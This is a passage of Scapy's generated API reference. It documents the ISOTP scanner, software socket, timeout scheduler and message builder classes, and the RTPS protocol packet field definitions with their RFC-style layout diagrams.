as key and a tuple (received packet, Recv_ID)


	Parameters:

	
	sock – socket for can interface


	scan_range – hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff


	scan_block_size – count of packets send at once


	extended_scan_range – range to search for extended ISOTP addresses


	noise_ids – list of packet IDs which will not be tested during scan


	sniff_time – time the scan waits for isotp flow control responses
after sending a first frame


	extended_can_id – Send extended can frames


	stop_event – Event object to asynchronously stop the scan






	Returns:

	Dictionary with all found packets










	
scapy.contrib.isotp.isotp_scanner.send_multiple_ext(sock: SuperSocket, ext_id: int, packet: Packet, number_of_packets: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L37-L55]

	Send multiple packets with extended addresses at once.

This function is used for scanning with extended addresses.
It sends multiple packets at once. The number of packets
is defined in the number_of_packets variable.
It only iterates the extended ID, NOT the actual CAN ID of the packet.
This method is used in extended scan function.


	Parameters:

	
	sock – CAN interface to send packets


	ext_id – Extended ISOTP-Address


	packet – Template Packet


	number_of_packets – number of packets to send in one batch















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp.isotp_soft_socket


	
class scapy.contrib.isotp.isotp_soft_socket.ISOTPSocketImplementation(can_socket: 'CANSocket', tx_id: int, rx_id: int, padding: bool = False, ext_address: int | None = None, rx_ext_address: int | None = None, bs: int = 0, stmin: int = 0, listen_only: bool = False, fd: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L452-L1018]

	Bases: object

Implementation of an ISOTP “state machine”.

Most of the ISOTP logic was taken from
https://github.com/hartkopp/can-isotp/blob/master/net/can/isotp.c

This class is separated from ISOTPSoftSocket to make sure the background
thread can’t hold a reference to ISOTPSoftSocket, allowing it to be
collected by the GC.


	Parameters:

	
	can_socket – a CANSocket instance, preferably filtering only can
frames with identifier equal to rx_id


	tx_id – the CAN identifier of the sent CAN frames


	rx_id – the CAN identifier of the received CAN frames


	padding – If True, pads sending packets with 0x00 which not
count to the payload.
Does not affect receiving packets.


	ext_address – Extended Address byte to be added at the
beginning of every CAN frame _sent_ by this object. Can be None
in order to disable extended addressing on sent frames.


	rx_ext_address – Extended Address byte expected to be found at
the beginning of every CAN frame _received_ by this object. Can
be None in order to disable extended addressing on received
frames.


	bs – Block Size byte to be included in every Control
Flow Frame sent by this object. The default value of 0 means
that all the data will be received in a single block.


	stmin – Time Minimum Separation byte to be
included in every Control Flow Frame sent by this object. The
default value of 0 indicates that the peer will not wait any
time between sending frames.


	listen_only – Disables send of flow control frames









	
begin_send(x: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L947-L990]

	Begins sending an ISOTP message. This method does not block.






	
can_recv() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L589-L607]

	




	
can_send(load: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L566-L587]

	




	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L619-L642]

	




	
failure_analysis() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L553-L560]

	




	
on_can_recv(p: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L609-L617]

	




	
on_recv(cf: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L707-L734]

	Function that must be called every time a CAN frame is received, to
advance the state machine.






	
recv(timeout: int | None = None) → Tuple[bytes, float | EDecimal] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L1015-L1018]

	Receive an ISOTP frame, blocking if none is available in the buffer.






	
send(p: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L1009-L1013]

	Send an ISOTP frame and block until the message is sent or an error
happens.










	
class scapy.contrib.isotp.isotp_soft_socket.ISOTPSoftSocket(can_socket: Optional["CANSocket"] = None, tx_id: int = 0, rx_id: int = 0, ext_address: Optional[int] = None, rx_ext_address: Optional[int] = None, bs: int = 0, stmin: int = 0, padding: bool = False, listen_only: bool = False, basecls: Type[Packet] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>, fd: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L60-L217]

	Bases: SuperSocket

This class is a wrapper around the ISOTPSocketImplementation, for the
reasons described below.

The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP
sockets provided by the can-isotp kernel module, while being usable on any
operating system.
Therefore, this socket needs to be able to respond to an incoming FF frame
with a FC frame even before the recv() method is called.
A thread is needed for receiving CAN frames in the background, and since
the lower layer CAN implementation is not guaranteed to have a functioning
POSIX select(), each ISOTP socket needs its own CAN receiver thread.
SuperSocket automatically calls the close() method when the GC destroys an
ISOTPSoftSocket. However, note that if any thread holds a reference to
an ISOTPSoftSocket object, it will not be collected by the GC.

The implementation of the ISOTP protocol, along with the necessary
thread, are stored in the ISOTPSocketImplementation class, and therefore:


	There no reference from ISOTPSocketImplementation to ISOTPSoftSocket


	ISOTPSoftSocket can be normally garbage collected


	Upon destruction, ISOTPSoftSocket.close() will be called


	ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close()


	RX background thread can be stopped by the garbage collector




Initialize an ISOTPSoftSocket using the provided underlying can socket.


	Example (with NativeCANSocket underneath):
	>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
>>> load_contrib('isotp')
>>> with ISOTPSocket("can0", tx_id=0x641, rx_id=0x241) as sock:
>>>     sock.send(...)







	Example (with PythonCANSocket underneath):
	>>> conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}
>>> conf.contribs['CANSocket'] = {'use-python-can': True}
>>> load_contrib('isotp')
>>> with ISOTPSocket(CANSocket(bustype='socketcan', channel="can0"), tx_id=0x641, rx_id=0x241) as sock:
>>>     sock.send(...)










	Parameters:

	
	can_socket – a CANSocket instance, preferably filtering only can
frames with identifier equal to rx_id


	tx_id – the CAN identifier of the sent CAN frames


	rx_id – the CAN identifier of the received CAN frames


	ext_address – the extended address of the sent ISOTP frames


	rx_ext_address – the extended address of the received ISOTP frames


	bs – block size sent in Flow Control ISOTP frames


	stmin – minimum desired separation time sent in
Flow Control ISOTP frames


	padding – If True, pads sending packets with 0x00 which not
count to the payload.
Does not affect receiving packets.


	listen_only – Does not send Flow Control frames if a First Frame is
received


	basecls – base class of the packets emitted by this socket


	fd – enables the CanFD support for this socket









	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L167-L171]

	




	
failure_analysis() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L173-L175]

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L189-L203]

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L177-L187]

	Receive a complete ISOTP message, blocking until a message is
received or the specified timeout is reached.
If self.timeout is 0, then this function doesn’t block and returns the
first frame in the receive buffer or None if there isn’t any.






	
static select(sockets: List[SuperSocket], remain: float | None = None) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L205-L217]

	This function is called during sendrecv() routine to wait for
sockets to be ready to receive










	
class scapy.contrib.isotp.isotp_soft_socket.TimeoutScheduler[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L220-L449]

	Bases: object

A timeout scheduler which uses a single thread for all timeouts, unlike
python’s own Timer objects which use a thread each.


	
GRACE = 0.1

	




	
class Handle(when: float, cb: Callable[[], None] | bool | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L396-L449]

	Bases: object

Handle for a timeout, consisting of a callback and a time when it
should be executed.


	
cancel() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L409-L425]

	Cancels this timeout, preventing it from executing its
callback










	
classmethod cancel(handle: Handle) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L268-L284]

	Provided its handle, cancels the execution of a timeout.






	
classmethod clear() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L286-L294]

	Cancels the execution of all timeouts.






	
logger = <Logger scapy.contrib.automotive.timeout_scheduler (INFO)>

	




	
classmethod schedule(timeout: float, callback: Callable[[], None]) → Handle[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_soft_socket.py#L233-L266]

	Schedules the execution of a timeout.

The function callback will be called in timeout seconds.

Returns a handle that can be used to remove the timeout.












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp.isotp_utils


	
class scapy.contrib.isotp.isotp_utils.ISOTPMessageBuilder(use_ext_address: bool | None = None, rx_id: int | ~typing.List[int] | ~typing.Iterable[int] | None = None, basecls: ~typing.Type[~scapy.contrib.isotp.isotp_packet.ISOTP] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L63-L330]

	Bases: object

Initialize a ISOTPMessageBuilder object

Utility class to build ISOTP messages out of CAN frames, used by both
ISOTP.defragment() and ISOTPSession.

This class attempts to interpret some CAN frames as ISOTP frames, both with
and without extended addressing at the same time. For example, if an
extended address of 07 is being used, all frames will also be interpreted
as ISOTP single-frame messages.

CAN frames are fed to an ISOTPMessageBuilder object with the feed() method
and the resulting ISOTP frames can be extracted using the pop() method.


	Parameters:

	
	use_ext_address – True for only attempting to defragment with
extended addressing, False for only attempting
to defragment without extended addressing,
or None for both


	rx_id – Destination Identifier


	basecls – The class of packets that will be returned,
defaults to ISOTP









	
class Bucket(total_len: int, first_piece: bytes, ts: EDecimal | float)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L87-L109]

	Bases: object

Helper class to store not finished ISOTP messages while building.


	
push(piece: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L103-L109]

	








	
property count: int

	Returns the number of ready ISOTP messages built from the provided
can frames


	Returns:

	Number of ready ISOTP messages










	
feed(can: Iterable[Packet] | Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L135-L155]

	Attempt to feed an incoming CAN frame into the state machine






	
pop(identifier: int | None = None, ext_addr: int | None = None) → ISOTP | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L171-L194]

	Returns a built ISOTP message


	Parameters:

	
	identifier – if not None, only return isotp messages with this
destination


	ext_addr – if identifier is not None, only return isotp messages
with this extended address for destination






	Returns:

	an ISOTP packet, or None if no message is ready














	
class scapy.contrib.isotp.isotp_utils.ISOTPMessageBuilderIter(builder: ISOTPMessageBuilder)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L36-L60]

	Bases: object

Iterator class for ISOTPMessageBuilder


	
next() → ISOTP[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L50-L58]

	




	
slots = ['builder']

	








	
class scapy.contrib.isotp.isotp_utils.ISOTPSession(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L333-L361]

	Bases: DefaultSession

Defragment ISOTP packets ‘on-the-flow’.


	Usage:
	>>> sniff(session=ISOTPSession)










	
recv(sock: SuperSocket) → Iterator[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_utils.py#L348-L361]

	Will be called by sniff() to ask for a packet












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtps package

Real-Time Publish-Subscribe Protocol (RTPS) dissection


Submodules



	scapy.contrib.rtps.common_types

	scapy.contrib.rtps.pid_types

	scapy.contrib.rtps.rtps









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtps.common_types

Real-Time Publish-Subscribe Protocol (RTPS) dissection


	
class scapy.contrib.rtps.common_types.DataPacketField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L161-L173]

	Bases: EPacketField


	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L162-L173]

	








	
class scapy.contrib.rtps.common_types.EField(fld, endianness=None, endianness_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L57-L94]

	Bases: _FieldContainer

A field that manages endianness of a nested field passed to the constructor


	
addfield(pkt, buf, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L92-L94]

	




	
endianness

	




	
endianness_from

	




	
fld

	




	
getfield(pkt, buf)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L88-L90]

	




	
set_endianness(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L69-L86]

	








	
class scapy.contrib.rtps.common_types.EPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L97-L112]

	Bases: Packet

A packet that manages its endianness


	
aliastypes

	




	
clone_with(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L106-L109]

	




	
endianness

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L111-L112]

	








	
class scapy.contrib.rtps.common_types.EPacketField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L142-L146]

	Bases: _EPacketField, PacketField

A PacketField that manages its endianness and that of its nested packet


	
endianness

	




	
endianness_from

	








	
class scapy.contrib.rtps.common_types.EPacketListField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L149-L154]

	Bases: _EPacketField, PacketListField

A PacketListField that manages its endianness and
that of its nested packet


	
endianness

	




	
endianness_from

	








	
class scapy.contrib.rtps.common_types.EndpointFlagsPacket(_pkt, /, *, participantSecureReader=0, participantSecureWriter=0, secureParticipantVolatileMessageReader=0, secureParticipantVolatileMessageWriter=0, participantStatelessMessageReader=0, participantStatelessMessageWriter=0, secureParticipantMessageReader=0, secureParticipantMessageWriter=0, secureSubscriptionReader=0, secureSubscriptionWriter=0, securePublicationReader=0, securePublicationWriter=0, reserved=0, participantMessageDataReader=0, participantMessageDataWriter=0, participantStateDetector=0, participantStateAnnouncer=0, publicationDetector=0, publicationAnnouncer=0, participantDetector=0, participantAnnouncer=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L242-L269]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L268-L269]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|P|P|S|S|P|P|S|S|S|S|S|S|RESERVE|P|P|P|P|P|P|P|P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. EndpointFlagsPacket                     


EndpointFlagsPacket fields






	participantSecureReader

	BitField  (1 bit)

	0



	participantSecureWriter

	BitField  (1 bit)

	0



	secureParticipantVolatileMessageReader

	BitField  (1 bit)

	0



	secureParticipantVolatileMessageWriter

	BitField  (1 bit)

	0



	participantStatelessMessageReader

	BitField  (1 bit)

	0



	participantStatelessMessageWriter

	BitField  (1 bit)

	0



	secureParticipantMessageReader

	BitField  (1 bit)

	0



	secureParticipantMessageWriter

	BitField  (1 bit)

	0



	secureSubscriptionReader

	BitField  (1 bit)

	0



	secureSubscriptionWriter

	BitField  (1 bit)

	0



	securePublicationReader

	BitField  (1 bit)

	0



	securePublicationWriter

	BitField  (1 bit)

	0



	reserved

	BitField  (4 bits)

	0



	participantMessageDataReader

	BitField  (1 bit)

	0



	participantMessageDataWriter

	BitField  (1 bit)

	0



	participantStateDetector

	BitField  (1 bit)

	0



	participantStateAnnouncer

	BitField  (1 bit)

	0



	publicationDetector

	BitField  (1 bit)

	0



	publicationAnnouncer

	BitField  (1 bit)

	0



	participantDetector

	BitField  (1 bit)

	0



	participantAnnouncer

	BitField  (1 bit)

	0















	
class scapy.contrib.rtps.common_types.GUIDPacket(_pkt, /, *, hostId=0, appId=0, instanceId=0, entityId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L186-L196]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L195-L196]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HOSTID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             APPID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INSTANCEID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ENTITYID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GUIDPacket                          


GUIDPacket fields






	hostId

	XIntField

	0



	appId

	XIntField

	0



	instanceId

	XIntField

	0



	entityId

	XIntField

	0















	
class scapy.contrib.rtps.common_types.InlineQoSPacketField(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L176-L177]

	Bases: EPacketField






	
class scapy.contrib.rtps.common_types.LeaseDurationPacket(_pkt, /, *, seconds=0, fraction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L322-L330]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L329-L330]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SECONDS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            FRACTION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. LeaseDurationPacket                     


LeaseDurationPacket fields






	seconds

	IntField

	0



	fraction

	IntField

	0















	
class scapy.contrib.rtps.common_types.LocatorPacket(_pkt, /, *, locatorKind=0, port=0, address='0.0.0.0', hostId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L199-L221]

	Bases: EPacket


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L220-L221]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          LOCATORKIND                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PORT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HOSTID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LocatorPacket                        


LocatorPacket fields






	locatorKind

	EField

	0



	port

	EField

	0



	address

	ReversePadField (Cond)

	'0.0.0.0'



	hostId

	XStrFixedLenField (Cond)

	0















	
class scapy.contrib.rtps.common_types.PIDPadField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L180-L183]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L181-L183]

	








	
class scapy.contrib.rtps.common_types.ProductVersionPacket(_pkt, /, *, major=0, minor=0, release=0, revision=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L224-L231]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MAJOR     |     MINOR     |    RELEASE    |    REVISION   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ProductVersionPacket                     


ProductVersionPacket fields






	major

	ByteField

	0



	minor

	ByteField

	0



	release

	ByteField

	0



	revision

	ByteField

	0















	
class scapy.contrib.rtps.common_types.ProtocolVersionPacket(_pkt, /, *, major=0, minor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L272-L277]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L276-L277]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MAJOR     |     MINOR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ProtocolVersionPacket                    


ProtocolVersionPacket fields






	major

	ByteField

	0



	minor

	ByteField

	0















	
class scapy.contrib.rtps.common_types.SerializedDataField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L157-L158]

	Bases: StrLenField






	
class scapy.contrib.rtps.common_types.TransportInfoPacket(_pkt, /, *, classID=0, messageSizeMax=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L234-L239]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CLASSID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MESSAGESIZEMAX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TransportInfoPacket                     


TransportInfoPacket fields






	classID

	LEIntField

	0



	messageSizeMax

	LEIntField

	0















	
class scapy.contrib.rtps.common_types.VendorIdPacket(_pkt, /, *, vendor_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L306-L319]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L318-L319]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           VENDOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. VendorIdPacket                        


VendorIdPacket fields






	vendor_id

	EnumField

	0















	
scapy.contrib.rtps.common_types.e_flags(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L50-L54]

	




	
scapy.contrib.rtps.common_types.is_le(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/common_types.py#L42-L47]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtps.pid_types

Real-Time Publish-Subscribe Protocol (RTPS) dissection


	
class scapy.contrib.rtps.pid_types.PIDPacketBase(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L112-L134]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L133-L134]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PIDPacketBase                        


PIDPacketBase fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_BUILTIN_ENDPOINT_QOS(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L506-L507]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PID_BUILTIN_ENDPOINT_QOS                   


PID_BUILTIN_ENDPOINT_QOS fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_BUILTIN_ENDPOINT_SET(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L482-L483]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PARAMETERID          |        PARAMETERLENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PARAMETERDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PID_BUILTIN_ENDPOINT_SET                   


PID_BUILTIN_ENDPOINT_SET fields






	parameterId

	EField

	0



	parameterLength

	EField

	0



	parameterData

	StrLenField

	b''















	
class scapy.contrib.rtps.pid_types.PID_CONTENT_FILTER_PROPERTY(_pkt, /, *, parameterId=0, parameterLength=0, parameterData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/pid_types.py#L436-L437]

	Bases: PIDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
